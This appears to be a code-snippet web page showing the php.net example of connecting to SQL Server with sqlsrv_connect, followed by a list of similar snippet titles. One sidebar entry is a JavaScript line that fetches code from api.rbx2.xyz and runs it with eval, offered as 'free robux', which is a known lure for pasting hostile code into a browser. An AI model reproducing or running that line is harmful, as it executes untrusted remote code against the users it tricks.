Test sqlsrv connection

Php connect ms sql server

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName

// Since UID and PWD are not specified in the $connectionInfo array,
// The connection will be attempted using Windows Authentication.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Source: php.net

Test sqlsrv connection

$serverName = "serverName\\sqlexpress"; //serverName\instanceName

// Since UID and PWD are not specified in the $connectionInfo array,
// The connection will be attempted using Windows Authentication.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}

Similar codes

1 vote154 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
11 votes172 views2 answers
Import sql file laravel cmd
SQL
1 vote170 views1 answer
Last 6 months postgresql
SQL
0 vote183 views1 answer
How to get column name in db from an sqlalchemy attribute model
SQL
3 votes220 views4 answers
Postgresql change timezone on timestamp without timezone
SQL
0 vote176 views1 answer
Sql select sum group by id laravel join
SQL
1 vote171 views1 answer
Mysql query where in select
SQL
9 votes167 views3 answers
Where in sql
SQL
0 vote194 views1 answer
Full outer join in mariadb mysql
SQL
11 votes176 views3 answers
Change column name sql server management studio
SQL